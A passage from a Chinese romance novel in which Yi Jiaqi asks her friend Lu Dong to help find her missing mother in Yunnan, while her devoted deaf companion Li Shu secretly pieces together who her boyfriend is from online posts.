想到季昀此时此刻的处境,易佳期没忍住,勾了勾唇角。她抬头,拍了拍三轮车,冲李树说:“你先回去吧,我和大姐一起走。” 没想到,李树却表情古怪地看了她一眼。那一眼很短暂,但易佳期注意到了,还没等她开口,李树便骑着三轮扬长而去。 等鹿东算账的功夫,易佳期正好把壶里的茶喝完。 走在和客栈相反的方向上,鹿东忍不住问:“干嘛去,不回家?” 易佳期拉着她:“带你享受去,顺便和你说个事。” 鹿东笑话她:“你看你那小样儿,咱俩什么关系,屁大点小孩还整请客那一套,有什么事你直接和我说就行了呗。” 易佳期摇头,“严肃点鹿东姐,是很重要的事。” 她到云南就是为了这件事来的。 好吧好吧,鹿东姐收敛了逗弄她的笑容,严肃地跟着她走。 一路走到按摩店,易佳期才撒开手。 鹿东手指着按摩店红蓝交错的灯牌,吞吞吐吐好一会,才开口道:“得多大的事啊?要请我来这里谈?” 易佳期没懂鹿东什么意思,“你不是说你这几天累吗,带你放松放松。” 她想的很简单,李树不给她按,她就找别人给她按,正好带上鹿东,按摩按爽了,把事情一谈,一切都是如此的水到渠成。” “放松放松…”鹿东琢磨着她的话,难以置信地看了她好几眼,半晌才说,“你从哪学的,你才多大,不能这么油腔滑调,你你你…” 易佳期被她说得越来越迷糊,“姐,你怎么了?” “你和姐说,这里面你自己去过没有?” 易佳期看她如临大敌的模样,实话实说,“我也是第一次来。”之前收了摊没事干,她经常在附近转悠,也是偶然发现,这街上有家按摩店。 鹿东很明显松了口气,拉着她的手腕,“走吧,有什么事情回客栈咱们也能谈。” 易佳期就算是个石头,到这时候也发现鹿东不对劲了,她问她:“怎么了,这家店按得不行?” “按得行不行我忘了,”鹿东很嫌弃的样子,“里面太脏了,你个小孩子不要去。” “脏?”易佳期显然还没太理解。 鹿东一咬牙说,“这里头是个鸭子窝。” “哦…”易佳期明白了。 这么个小插曲,反而让鹿东话匣子打开了,从这家店的鸭子怎么缠着她加钟,说到她当初年轻气盛和唱片公司的老板干架被雪藏。 到最后,话题又绕回来,鹿东总结,“总之,鸭子没一个好东西,又贪又懒,你这么小,别和他们打交道。” “对了,你今天找我想说什么事?” “我想让你帮我找个人。” “谁啊,叫什么名儿?长什么样子?” “她叫易红,长得和我很像。” “你姐?” 易佳期摇头,“我妈。” 22. 青皮 找一个消失了很久的人,很难。 找一个你从来没见过,但消失很久的人,更是难上加难。 易红消失那么多年,易佳期甚至不知道该以什么样的形象想念她,她长什么样子?长头发还是短头发?眼睛大还是眼睛小?高矮胖瘦,一概不知。 日复一日的念想里,易红在她脑子里逐渐不再是一个人,而成为一个意象,一个美好而神秘的意象。 她为数不多能掌握的,就是易红这个名字,易红的读书笔记,以及小姑曾经说过,“你妈妈,和你长得很像,如果你看到她,一定能认出来。” 易红在读书笔记里写,等她走出临安,她要每年都去云南看日照金山,晒太阳、喝茶、和陌生人聊天,浪费她已经被浪费的人生。 所以,易佳期来了。她不知道易红来没来,但是,她来了。 “你妈妈?”鹿东觉得她这话很蹊跷。 易佳期主动解释道:“我妈妈,在我们很小的时候就失踪了。” “在云南失踪的?”鹿东表情不太好。 “不是,只是最近我听说了一些消息,她可能来了云南。” 鹿东平时不怎么爱动脑子,但不代表她不懂。平日走南闯北,见识多了,易佳期只说这几句话,她就什么都明白了。 她没有问更多,“你想我怎么帮你?” 易佳期没有表情,“也没什么办法,”毕竟她没有照片,“我要上学,不能一直留在这里。我想让你帮我留意一下,她叫易红,长得和我很像,如果你看到她,一定能认出来。” 话是这样说,但两个人都知道,天大地大,这样相遇的概率,太渺茫了。 “这个小摊,等我和李树走了,你可以继续用,我不问你要分成,这里游客多,说不定就能看到她。” 易佳期当初说,做这个生意,不为赚钱,是为了和鹿东交个朋友,这话是真的。鹿东这个人,极其热心,说得不好听了,就是爱管人闲事。 放在之前,她不爱和这样的人打交道,但现在,她需要她。 她需要她的热心肠、需要她的爱管闲事、需要她的心软、需要她的责任心。 鹿东是和她截然不同的一类人,甚至完全相反,所以,她通过倒推,足够对鹿东了如指掌。 在这样的人面前,适当地示弱,可以事半功倍。 果然,鹿东长叹一口气,然后她说,“好,我帮你。” 了却了心里最大的一桩心事,易佳期稍稍放松了些许。两个人笑笑闹闹回到客栈,易佳期住二楼,鹿东住一楼,分开前,易佳期和她保证,之后一定找一家干净的足疗店请她按摩。 “拉倒吧你,小屁孩一个,瘾还挺大。”鹿东笑话她。 到了楼上,李树还没有睡。 夜色深浓,飞蛾围着阳台的灯罩一圈圈打转,李树已经洗完澡,头发还没擦,顺着发梢往下滴水。 他在洗内衣。 她的内衣。 易佳期脱了外衣,只剩件吊带和棉质短裤,直接往床上一躺。 她的身体很累,思绪却清醒。 她现在很开心,纵然找到易红的希望依旧渺茫,但她已经来到了云南,遇到了鹿东,这让她有种一切都走上正轨的预感。 阳台上淅淅沥沥,水声减弱,易佳期转头看过去,李树消瘦的身体在灯光下,像道冬天的树影。 还有李树。 易佳期从来都知道自己想要什么。她的路,没有岔口,一眼望到头。 她要出走的妈妈、优渥的生活、无数人的爱慕、和数不清的钞票。 李树能给她钱,她的路上就有了李树。 易佳期想要的东西从来不会撒手,无论如何,她都要拿到李树身上的那笔巨款,她原以为这不是什么难事,毕竟李树不是什么难以掌控的人物。 可不知道为什么,易佳期总觉得,李树最近,似乎有些脱轨了。 自从找回他,他身上不对劲的地方就越来越多。 他开始闪躲,甚至开始抗拒她,这在以前根本是不可能的事情。 易佳期越想越不对,她索性拾起床上的毛巾,往李树那边一扔,毛巾打成结,砸在身上有点疼。 李树看了她一眼,弯腰拾起毛巾扔进盆子里,才大步走过来。 过来的路上,李树顺手从架子上取下条新毛巾,盖在易佳期的肚脐上。 又从地上抱起来她刚脱掉的外衣,然后才问,「热水已经放好了,可以直接洗澡,还有什么事?」 易佳期懒得和李树弯弯绕绕,她直接说,“你大爷打算什么时候把钱还你。” 李树没想到她突然问这个问题,良久才回答,「最近有点忙,忘记问他了。」 放在以前,易佳期听到这种回答早就蹦起来骂他了,李树也做好了挨顿臭骂甚至一顿毒打的准备,可易佳期只是坐了起来,顺带整理了一下头发。 她淡淡道:“毕竟是你爸的血汗钱,你得上点心。” 她就着李树刚才的话继续说,“最近很累吧,装货卸货都是你一个人做。” 相比指责、挖苦、和突如其来的巴掌,易佳期突如其来的关心反而让李树不知道如何回应。 他摇摇头,认真地比划,「不累,我觉得好。能帮到你,很好。」 易佳期笑了,像是不相信他的话,“什么你都觉得好,也不知道真的假的。” 李树看着她,「真的,和你说的话都是真的。」 “好。”易佳期坐直了,“我也要和你说句真话,你好好听着。” “李树,可能你觉得我挺烦你的,你搞砸了我的事情,这些年我也总是骂你,看不起你。但现在我们不在临安了,我们走出来了,除了彼此,我们和过去已经没有联系了。” “不管你信不信,我现在真的想和你好好相处,无论是以朋友,或者是姐弟的身份,在这里,我们没有任何人可以依靠,只能相互扶持,一起往前走。” 她的语气很冷,毫无感情,语调如同背诵课文般平铺直叙。 但这些,李树都无法察觉。 易佳期的嘴角笑着,是嘲笑,落在李树的眼睛里,却是美妙的温柔。 最后,易佳期说,“我现在不想再纠结你当时为什么逃跑,是真的下错站还是有别的想法,我只想你知道,你现在对我很重要,不要再逃避我,不要再躲着我,好吗?” 李树眼眶逐渐红了,他皱了皱鼻子,低下头,过了一会,才抬起脸。 他没有直接回答她的问题,而是捏住她的脚腕,「我给你按脚吧。」 不等易佳期回答,他就去包里,拿他各式各样的泡脚包。 易佳期用脚踹他肩膀,“干嘛,你还没回答我呢。” 李树才又仰起脸,撇了撇嘴。 「那你得让我吃饱。」 易佳期这才后知后觉地发现,李树脸上的表情,似乎除了感动,还有那么一丁点委屈? 她说了掏心掏肺这么一大段话,李树还惦记着吃饱喝足这么低档的事情。难道真是火车上饿他饿狠了,竟然这么大的怨念? 易佳期来不及深想,火急火燎地回他,“我答应你,以后绝对让你吃饱,有我一口菜,就有你一口汤。” 李树看着她,这才郑重地点头,冲她比划了一下,「好。」 见李树这样回答,易佳期终于放下心来,安心享受他的侍奉。 李树不知道从哪捯饬的中药包,味道很好闻,有股淡淡的苦药香。 他先帮她擦干净脚上的水,随后,在手上抹了些油膏,按住她的脚心,缓缓揉捏起来。 累了一天,易佳期没忍住闷哼出声。 她想起晚上没去成的按摩店,兴致起来了,用脚踢了踢李树的胸口。 “我和你说,今天我带鹿东姐去按脚,结果找了一家店,居然是鸭子窝…” “门头长得人模狗样的,从外面完全看不出来。” 李树边按,边盯着她的嘴型看。 除去完全绝交那几年,易佳期其实很喜欢和李树说话,李树除了她没有别的朋友,更不会把她说的话到处传,对着李树,易佳期几乎是想说什么说什么。 “我没进去过,里面什么样都是听鹿东姐讲的,鹿东姐说她当时点了个足疗和腰背的套餐,结果那鸭子一来,直接翻到她床上,给鹿东姐吓的差点没跳下去。后来那鸭子还和她说,他们店里的泡脚包都是纯中药的,现熬现泡,直接都能喝,还有美容养颜的成效,缠着她升级药包。” “结果,鹿东姐说, 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见李树还是怔愣张俊脸,竟然不否认,易佳期贴了一晚上的暖心画皮,差点没直接爆开。 「没有」,李树终于回答。 「我没有做过这种事情。」 “那你这手法和药包从哪里来的。” 李树指了指他几乎不离身的黑包,[我打工的厂是做养生草药包的,这是我拿回来的。] 他掏出口袋里的手机,「按脚,这里学的。」 看到李树有理有据的否认,易佳期往后一仰,竟然松了口气。 她也是这时候,才发觉,她对李树竟然有着难以想象的占有欲。 易佳期能看清别人,自然也能看清自己。她几乎是迅速发觉,其实,她一直在享受诋毁李树这件事,绝交之后,她明明有很多办法膈应李树,折磨李树,她偏偏选了最偏激的一种。 在所有人面前诋毁他,希望所有人都能和她一样“讨厌”他。 这样,李树就再也不会有新的朋友了。 从始至终,李树是她一个人的朋友。李树是她一个人的出气筒,她无法想象李树给别人捏脚,对别人献殷勤。接受不了。如果有一天让她发现李树做了这样的事,她一定会当场弄死他。 「谢谢你。」李树对她比划。 “谢什么?” 「谢谢你,谢谢你担心我,我很开心。」 真的,无比开心。李树觉得像做梦一样。 这份快乐一直持续到他睡到床上。 扑通、扑通、李树感受到心脏的震动。 今晚他要消化的东西太多了。 易佳期需要他,易佳期挽留他,易佳期担心他,这是真的吗? 李树飘忽的心脏重重落回肚子里。他敏感地发觉自己在云南有了锚点。 离开临安后,他的所有变化似乎都有了解释。 之前他一直没有找准他的定位。和易佳期的姐弟关系,之于他始终如同国王的新衣,即便每次鹿东姐弟俩的叫着时,他心里很舒服,可依旧无法融入这个身份。 但李树没想到,成为易佳期的弟弟,是这样的待遇。 能得到易佳期的关心、挽留,甚至是教导,这是他以前想都不敢想的。 他翻来覆去睡不着。 他稍稍起身往床上看去,易佳期还没睡,手机的灯光还亮着。 他也摸出手机,点开易佳期的聊天框,一点一点打下一行字。 「姐姐,晚安。」 点击发送,李树火速扔了手机,头埋进被子。 被窝里很热,他的心脏狂跳。 他决定,明天睁开眼睛之后,偷偷穿上国王的新衣服。 可惜,他不是国王,他只是一个普通的李树。 没有为他捧场的国民,他普通到,与他擦肩而过的每一个人,都可以随心所欲做口无遮拦的小孩。 穿上新衣服的第二天,鹿东叫住了傻笑的他,并告诉他一个爆炸性的消息。 “那谁,洗个菜你乐呵什么呢?” 「高兴。」李树笑着比划。 “我问你个事,你姐是不是谈恋爱了?” 23. 柠檬 鹿东一句话无异于平地起惊雷。 李树的脸色一变。 鹿东自顾自地说着,压根没有注意。 她经常这样和李树“聊天”,不会手语无所谓,李树会唇语,能看懂她说的话,这个聊天就可以成立了。 李树性格一般,不想搭理别人的时候,连样子都不愿意做,鹿东以为这次也一样,说是问李树,其实是她一直在讲,“真的,八九不离十。” “那男生听声音和你差不多大,估计是你姐同学呢,那天你姐和他打电话,被我碰个正着,你姐这人你也知道,脾气急,反正我是没见过你姐对谁态度那么好过…” 再接下去的话,李树没听进去多少。 易佳期谈恋爱,不是什么稀罕事。 这么多年过去,易佳期不可能永远是那个叫着“长大了绝不谈恋爱”的小学生,她这样的条件,注定从小到大,身后跟满了追随者。 易佳期谈过的恋爱不少,她学习好,老师对她往往睁一只眼闭一只眼。只李树知道的,易佳期第一个男朋友,是高一时,一个同班的艺术生,那人长得瘦高,很潮流的类型,会用丙烯在校服上画画,明晃晃在校服上写易佳期的名字。 他的手应该很好看,虽然李树没有仔细看过,但经常看到易佳期牵他的手。在课间、在操场、在小卖铺、在走廊… 后面谈的那几个,易佳期就不经常牵。 “我问她电话那头是谁,是不是男朋友,她都没否认的,说什么八字还没一撇,都说这种话了,那绝对是有情况。” 鹿东说嗨了,这才兴致盎然地去看李树的回应。 不出意外,转过脸去,对上的还是李树沉闷的一张脸。 这种情况很正常,李树不是爱谈八卦的人,也不关心别人的事。但两人谈论的对象是易佳期,李树这个反应可就太不正常了。 毕竟在她眼里,李树就是个“姐控”,易佳期有点风吹草动,他蹦得比谁都高。 鹿东很惊讶:“什么情况?你就这个反应?” “你不会是早就知道了吧!” “这事我都问不出来个准话,你姐能和你说?” 看着鹿东不可置信的神色,李树鬼使神差地点了点头。 鹿东霎时有些吃味。 “那你姐心里还真挺有你的,这事你姐问都不让我问,我多说两句就掉脸。” 果然是天大地大也大不过血缘啊,鹿东心中腹诽,易佳期平日对李树再打再骂,再不耐烦,真有点情况,还是会先和李树聊。 “你姐对象长什么样?”鹿东还是忍不住好奇,“你见过没有?” 李树做了个口型,很好看。 “比你好看?”鹿东直接问。 她没有别的想法,单纯是想象不出来一个陌生男人的长相,只好拿现成的对比。 李树愣了片刻,最后点了点头。 鹿东接着问,“学习呢?学习好不好?” 挺好的。 李树的回答都很简短。 “行啊,”鹿东感叹,“比你姐条件差不了多少就行,趁年轻谈谈恋爱挺好的,等出了学校,再遇见的男生就没那么单纯了。” 李树又点点头。 鹿东笑骂他,“你还点上头了,你个小屁孩懂个啥谈恋爱?你就好好孝敬你姐就行了。” 易佳期姗姗来迟,从后面拍到鹿东肩上。 鹿东吓了一跳。 她来的时候,鹿东和李树的对话几近结束,只听到些尾声。 但她还是抓住不少关键词,她顺势把胳膊挂在鹿东肩膀上,“你们说什么呢?” 她皮笑肉不笑,瞄准李树的视线里带着虚假的关切,“谈恋爱?谁和谁?你有喜欢的人了?” 李树一时间竟然没有回答。 反而是鹿东开口道,“你听错了吧,他哪有那条件,我们说你呢。” 易佳期皱眉,“说我?说什么。” 鹿东贼兮兮地笑笑,“还能说什么,说你老家那个“朋友”呗。” 又来了。 鹿东打听起别人的事来颇有点没皮没脸,一整天易佳期都在和她的插科打诨中度过。 偶尔,易佳期会拿出手机看一眼。 一天过去了,和季昀的对话框依旧停在她的那句“不会”上。 入夜之后,季昀才回了消息。只一句话,“为什么?” 易佳期差点气笑了,她冷冰冰回复:“你说呢。” 季昀的聊天框又开始反复提示正在输入… 玩了这么久,易佳期也没耐心了,直接打断他,“如果你需要的是安慰,想让我哄哄你,那我可以回答我等你,你一定要安心复习,我等你多久都愿意,但你和我都知道真正的答案是什么,那就是不会。我不喜欢回消息,更不会关注谁的动态,隔着屏幕谈恋爱这种事情对我来说就是扯淡,根本不需要一年,几天看不见你我就会忘记你。” 对话框上的“正在输入”消失了。 再然后,季昀的账号下线了。 显然季昀已经做出决定。这个决定不是易佳期想要的。 可意外的是,易佳期并没有她想象中的愤怒。短短几个月,季昀已经变成另外一个人,不再炫耀限量版球鞋,不再成天对着她摆弄最新款的苹果,不再稀疏平常地讲述国外游玩的经历,不再故作轻松地假装考试前打了一夜游戏。 他几乎迅速滑向“季昀”的反面。 变得谦虚、敏感、悲观、沮丧,他 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她当时敷衍过去。 “你弟说…”鹿东笃定的语气清晰地浮现,易佳期不禁失笑。 在云南,她的弟弟自然只有李树。 这段时间,李树的变化多到让她无法忽视。放在之前,谁能想到李树这个自闭暴力狂,竟然可以像模像样地和人聊天,聊八卦。 更重要的是,她谈恋爱的事情,李树是怎么知道的? 他知道多少? 又或者,他知道那个人是季昀吗? 被他打断四根手指的季昀。 想着,易佳期心底又燃起一阵烦躁,她必须得把这事问清楚。她一个打挺从床上坐起来,随手从床上往李树背上扔了一包抽纸。 李树的后背像堵石头,嶙峋而沉默。 易佳期翻身下床,走了几步,才听见李树均匀绵长的呼吸——李树睡着了。 她从李树的腰上跨过去,蹲在李树脸前。 李树的头埋进被子里,只露出乱糟糟的头发,他的头发还没有完全干,一撮一撮黏在一起,像个刺猬。他的肤色在暖黄色的灯光下依旧惨白,漏在被子外面的后颈能看到明显的骨头。 真瘦,瘦得跟个猴似的。 她扫了几眼,到底没把李树喊醒,转道去了趟厕所,回来时,她关了灯。 过量的体力和脑力劳动,让她在满腹疑惑的情况下,依旧酣然入睡。 窗外的雨断断续续,敲在窗面上。 直到雨停了。 幽暗的夜色中,李树睁开眼睛,翻出枕头下的手机。 24. 绿火车 易佳期的男朋友,是临安一中的。 而且和易佳期同一个年级,甚至同一个班级。 有些事,身在其中很难察觉,站在终点回望,却是那么清晰。 自从得知易佳期谈了老家的朋友,李树多日来的困惑,都得到了答案。 易佳期没有网瘾,作息也规律,但偶尔会抱着手机和人聊到很晚。 易佳期有时侯发消息打电话会避着人,远远看过去,只能看到她笑得很开心。 还有时侯,明明没有好事发生,易佳期心情却莫名的好,一整天爱说爱笑… 现在他知道了。 这一切都只和另一个人有关。 易佳期的男朋友。 李树瞬间将这个人归类,就像归类易佳期的朋友,易佳期的仇人,易佳期的陌生人那样,易佳期的男朋友,在李树的世界里也单独有一个分类。 这个分类里的人相对少,至少没有易佳期的仇人多。 李树打开企鹅,他的企鹅号注册没多久,不到半年,昵称、签名还都处于默认状态。 点开好友栏,里面只有一个昵称叫“number 1”的账号。 是易佳期的企鹅号。 李树按照网上搜到的步骤,给“number 1”添加上备注:姐姐。 想了想,李树又点开表情栏,来回翻了几页,在“姐姐”后面加上一个笑脸。 不远处的易佳期睡意正酣。李树看了一眼,一头扎进被子里。 随后,他迟疑了几秒,点开了易佳期的空间。 屏幕上转了一会,逐渐现出深蓝色——易佳期的空间背景是一片大海。 空间置顶的一条说说,是临一中的一些照片,文案很简单,只四个字:溜之大吉。 李树仔细翻阅着,每一张照片上的景色,都是那么熟悉。 红绿相间的操场、人很多的食堂、破旧的阅览室、窗外的云彩。 这也是他朝夕相处了三年的学校。 最后一张照片,是拥挤的教室。 临一中校园很小,教室也不多,只不过这几年上线率很好,招生工作也好做起来。 学生多了,校园还是那么大,教室还是那么少。 所以,一个班级的人数从前三届的40人,逐渐增加到50、60,到她们这一届时,已经突破到70人,座位也从2人同座,改成了四人大通铺。 同学们都不喜欢这种安排。 李树却觉得很好。 除了学校,他想不到还有哪里,有这样和易佳期朝夕相处的空间。 教室很小很挤,桌子挨着桌子,人贴着人,他的视线藏匿其中,似乎也显得无关紧要了。 虽然,后来他被开除了。 离开校园之后,易佳期的生活,就彻底与他无关了。 屏幕的蓝光打在李树的鼻梁上,李树眨眨眼,点进易佳期的留言板。 无数条留言瞬间涌进来。 易佳期的人缘非常好,班级里基本上能开口说话的,都和她有点交情。 没有交情,至少也抄过她的作业。 “毕业快乐!易老板苟富贵勿相忘啊!” “高考加油!梦校冲冲冲!” “大学霸,毕了业可不要忘了我。” “本宝宝也来刷刷存在感[撒花][撒花]” “怎么不上线呀,想你了——薛佳。” … 各式各样的留言,看得李树眼花缭乱。 好热闹。易佳期的世界。 他继续翻看,大部分留言都是些俏皮话,只有一条不太寻常。 “+7,今天状态好多了,做了三套题,依旧朝着我们的约定努力,上海见。” 李树盯着这条留言看了许久。 留言人的昵称叫做“伤心王子”。 男生。 一个和易佳期有约定的男生。 李树几乎瞬间对这个帐号的身份有了定位。找到了。 他深吸一口气,点进“伤心王子”的空间。 伤心王子发表的动态很少,拉到最底,也不过二十几条。 最新一条动态停留在十天前。 李树一条接一条阅读。 2014.06.03——“星河滚烫,你是我的人间理想。” 2014.05.27——“一想起你,心里就下起了雨。” 2014.05.15——“我想你一定很忙,所以只看前三个字就好。” 2014.04.12——“因为一个人,爱上一座城。” 真优美呀。李树觉得像读课文一样。 看了没几条就有点困。 拧了一把大腿,李树接着往下翻,功夫不负有心人,翻了两页,李树终于看见一篇大白话。 是条三月份的动态,那时李树还没有离开校园。 “某头水牛要点脸吧,以为别人都是傻子,一天接水八百趟,尿都白了吧!也不看看有人理你不!” 底下陆陆续续有几条评论,“土豪不是只喝百岁山吗?这是咋了?”“说的谁啊。”“哪个大聪明?” 伤心王子只回复了一条,“说谁谁心里清楚。” 那人心里清不清楚不知道,李树倒是挺清楚了。 伤心王子骂的人是那个艺术生。 和易佳期好过的艺术生。 两个人只好了一个月就分了。分归分,但那艺术生心里一直没过去,高中三年里,没少对易佳期死缠烂打。 伤心王子说的这事,李树知道。高三开学,每个班级后排都加装了两个饮水机,易佳期个子高,又不要同桌,正好和饮水机挨边。 那艺术生原先连杯子都没有,自从易佳期换了座位,他就像中邪了似的,每个课间都要横穿大半个教室,去打水。 李树明白,他是想找机会和易佳期说话。 所以,现在至少可以确定,伤心王子和易佳期同班。 他继续往下翻,这次出现了图片。 【伤心王子:感谢老妈老爸,当场兑现了我的生日愿望。】 配图是一张很华丽的三层蛋糕,旁边摆了一双鞋盒,鞋盒打开了一半,漏出里面的运动鞋。 再往下一拉,是看不到底的评论,整齐划一地祝他生日快乐。 李树大致扫了评论一眼,视线又挪回图片。他认识这双鞋子,名牌的,阿迪达斯,很贵。 她们管这个叫,李树苦思冥想,终于想到了那个词,限量版。 这双鞋他很有印象,他还记得,这双鞋第一次出现在教室时,引起了多么大的波澜。不知道是谁先提出来的,反正一整个早读过去,连他这个聋子都知道了,班里有个人,新买了一双鞋子,好几千块! 但知道归知道,他从来不关心这种事,所以即便是那双鞋子的价格令他咋舌,他依旧没有记住鞋子的主人。 之所以,他对这件事记忆如此深刻,是因为,那天易佳期情绪很差,连午饭都没有吃。 直到晚上才有了些好脸色。 当天晚自习还发生了一件大事,那双几千块钱的鞋子,不知道什么时候被人甩上了红墨水,班里躁动了很久,甚至班长还挨个比对了几个同学红笔的颜色。 李树记得自己也被查 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其实李树手脚快,客栈里也没有那么多活能干两小时,易佳期知道,李树是避着她穿衣起床的时间。在女男大防这一块,李树很守规矩。 这小哑巴,有人生没人养的,该有的教养却一点不少,多稀罕。 昨天易佳期洗了头发,李树上楼来是给她梳头,这是最近才加进去的新服务。 两块钱一次,洗头、吹头、扎头发一条龙。李树偶尔在网上看了发型视频,还会给她升级精美的编发。 易佳期躺在床边,头发从床沿上散下来,因为静电,不少发丝先后吸附在李树聚酯纤维的背心上。 李树用水打湿梳子,轻轻梳着她的发尾。 易佳期睁着眼,直直看着头上的李树。这个视角,李树是倒着的。 也许因为视线向下,显得整个人懒懒的,很没精神。 易佳期直接问,“怎么这么无精打采的,你昨天不是睡得挺早吗,没睡好?” 李树垂眼,摇了摇头。 易佳期啧啧两声,“你这就属于亏心事做多了,心思重,睡眠质量当然上不去。” 李树无力反驳。 梳完头发,李树拿来镜子递给她,易佳期左右照了照,李树给她两边各梳了一个麻花辫,这也是她最常扎的发型,不勒头皮,不挡眼睛,不取下来能撑两天,很方便。 只是,今天发尾上多了个波光粼粼的小物件,易佳期晃了晃,声音沙沙作响,是个苗银发夹,“你买的?” 李树点了点头,说,「好看。」 「你戴上真好看。」 易佳期很诧异,“你哪来的钱买这些?在哪买的。” 李树以为她觉得自己乱花钱,慌忙解释道,「古镇上买的,不贵,才40块。」 发夹很有分量,做工也没什么毛病,40块钱的确不贵,不过,李树兜里的钱都是五毛一块零零碎碎攒起来的,这么说很难不让人觉得他打肿脸充胖子。 而且算起来,羊毛出在羊身上,这40块钱说到底还是她的钱。 怪不得晃起来叮铃咣铛的,听起来跟一裤兜子硬币差不多。 当然,易佳期还是笑纳了,她轻飘飘地说,“行,知道孝敬人了,算我没白对你好。” 她是随口闲扯,没想到李树却接了她的话。 他说,「我对你好,算是孝敬你吗?」 易佳期理所当然道,“不然呢,你还想是什么?” 李树摆了摆手,同时摇头,「没什么,我愿意孝敬你。」 25. 青皮 火锅煮起来方便,备菜却很耗时间,三个人饭量都不小,化冻好的牛羊肉又要一个个现片。三个人从上午10点忙活快晌午,火锅才开起来火。 辣锅滚得快,易佳期饿了,先喊着鹿东上桌坐下。李树站在一边,继续片着牛上脑。 没出摊,早上起得晚,除了李树,两人都没怎么吃早饭,鹿东肚子里也早就没东西了,油辣的香气一熏,更是馋的两眼发直。 她直接往滚开的辣汤下了一整盘的肥牛,没想到有人比她更急,肥牛卷刚在锅里打了个滚,就被易佳期一筷子叨进嘴里。 鹿东用筷子打了下她的手背,“就你手快,这肉和汤底说上了话了吗,就让你捞起来了,那上面还带着红呢。” 在客栈住了小一个月,易佳期和鹿东早就熟的不能再熟了,鹿东对她的称呼也从热乎乎的“大状元”,偶尔变成冷冰冰的“死小孩”。 易佳期倒无所谓,她虽有长辈缘,但实在算不上老实,之前老魏被她气狠了,直接“泼猴”“泼猴”的喊她,她是左耳进右耳出,反正不痛不痒,叫什么她都应。 譬如此刻,鹿东一个一个把没熟的肉重点按回锅里,忙得不可开交,易佳期在一边摇头晃脑地唱歌,再不疯狂我们都老了,没有回忆怎么祭奠呢。 鹿东竟然还能接上话茬,“滚蛋,还没下锅里呢你就老了老了,你抱着活牛啃吧,那不老。” 李树听不到两人讲话的语气,只看到刚才鹿东皱着眉打了易佳期一下。 打的好认真,力道好重。 但易佳期笑了,他也就咧开嘴笑了。 鹿东没注意李树瞥她的那一眼,只看到他在傻笑,她照往常那样笑话他,“你看,还有个在这拾二笑的。” 说罢,她往桌上扫了一圈,没看到饮料,便从兜里抓出一把钞票,顺势抽了张50的递给李树。 “那谁,你跑得快,等会去超市买桶饮料,你姐你俩喝。” 李树没接下钱,而是直勾勾看易佳期的脸色,一副请示的架势,鹿东哭笑不得,“行,我算是知道了,除了你姐,谁都使唤不动你。” “那你想喝什么,我请客,让你弟跑快去买点。”鹿东转头,也朝易佳期“请示”。 易佳期扭头望了望,最后视线落在鹿东脚边的一扎啤酒上,“买什么饮料,这不是有这么多啤酒吗?” “哟!”鹿东扬眉大笑,“就你俩这小屁孩还想喝酒?一瓶可乐都能把你俩喝胀气。” 自从知道俩人之中最大的也才刚从高中毕业,鹿东简直就把小屁孩三个字挂嘴上了,只要找到机会必得像这样逞逞大人的威风。 可奈何鹿东平日没个正形,拿起长辈的架子讲话颇有点不伦不类。 易佳期头都没抬,直接用鹿东讲过的话回怼,“啤酒也算酒?那尿也算水了。” “我都十八了,成年人,除了杀人放火、违法乱纪,什么不能干?” “嘿,你这死小孩说话…”鹿东话说了一半,表情又转为贼笑:“十八了,所以恋爱也能谈了是吧?” 易佳期心服口服,这都多少天了,鹿东还是能把所有话题瞬间扯回她那男朋友。 这股八卦的劲头真是使命必达,比警犬还执着。 但季昀那个贱人和她估计是没戏了,她想起来就心烦,摆摆手,意思是别提了。 这个空档里,李树已经开好一瓶啤酒,鹿东先伸手,把啤酒接了过去。 李树只好再开一瓶。 鹿东接着问,“对了,还没问过你,你们这小年轻现在都喜欢什么样的男生?” 李树开好第二瓶,又停下来,倒水涮着易佳期的杯子。 易佳期仰着头想了片刻,“听话的,乖的,漂亮的吧。” 鹿东瞅了一眼李树,李树正盯着易佳期的口型,看她说的话。 “那你弟长大了得挺有行情啊。”她随口开了个玩笑。 没想到易佳期却很认真,“我弟就算了,他这个样子,就别让他出去祸害别人了。” 李树连连点头,接着易佳期的话比划,「我不那个,不找对象。」 鹿东被俩人煞有介事的样子逗得哈哈大笑,“是我多嘴了,不说这个了,来来,喝酒喝酒。” 但不说是不可能的,几盘牛肉下肚,鹿东又来劲了,说起前几天来摊位上找事的那几个黄毛。 “那谁,下次他们再来,你就别搭理,那种人,你越给他眼色他越来劲。” 鹿东说的黄毛,在摊位对过的那条街,开了个火塘清吧。彼时文青盛行,民谣大热,丽江掉块砖都能砸死三个开火塘清吧的。 易佳期之前把附近的店和摊位的客流都摸了个大概,那家店她有印象,生意很差。 “他们来干什么的?”易佳期这时才想起来问。 也不怪她置身事外,那几次她确实不在,所有的情况都是听鹿东口述。 “谁知道,砸场子呗。每次就一大帮子人往摊位上一站,把道堵得死死的,领头的几个在那里翻明信片,翻来翻去也不买。” 说话的人是鹿东,易佳期看的却是李树。 她第一反应,“那你干嘛呢,你打他们了?” 李树摇头,抬手准备比划,鹿东看他说话挺费劲,再次接过话头,“没有,这法治社会,哪能随便动手打人。再说,你弟又那么老实。” “就是那几个人自己不买,还挡着别人,不让别人买,他就把那几个人手里的明信片夺走了。” “这下好,可被他们找到理由闹事,在咱们摊位前面叫唤了半天,说我们赶人,态度差,看他们没钱买就区别对待…” 这种情况易佳期不是没料想到,生意好嘛,有人眼红是常事,只是这才一个月不到,这些人红眼病犯的比她预期要还要早。 不过,她也没指望这一锤子买卖的生意能做长久。她沉吟片刻,对鹿东说,“这事能应付就应付,应付不了也别硬来,这段时间赚得也不少,大不了就不干了。” 鹿东点头,很赞同她说的话。 “说到钱,这个月的账面,抛去本钱,利润也得有4万多了,等过几天,就把这个钱分了。” 她说着说着又开始发散,“你弟也出了不少力气,等有了钱,也带他去买几身衣服,人都说先敬罗衣后敬人,你看你弟那个鞋,咧这么大一个嘴,走个路跟打快板似的,今早上下个楼我还寻思是不是天津人来了。” 鹿东的肢体语言和她说话一样夸张,指着李树脚上的鞋,手上比划得比盘子都大。 易佳期也顺着看过去,视线锚住李树的板鞋。 李树低着头,也往自己脚上看了一眼,那是一双被浆洗的发白的鞋子,并在一起,一左一右各咧开一个口,像对鱼嘴。 这鞋子多好啊,虽然咧了点口子,但是能跑能跳能走路,底被他穿得很软,也不挤脚,爱惜爱惜还可以穿好几年。 平时他会这样想。 可此刻,被易佳期注视着的此刻,他脑子里挥之不去的,却是伤心王子空间里的那双鞋子。 摆放在华丽的鞋盒里,洁白、崭新、昂贵。 他默默把脚缩了回去。 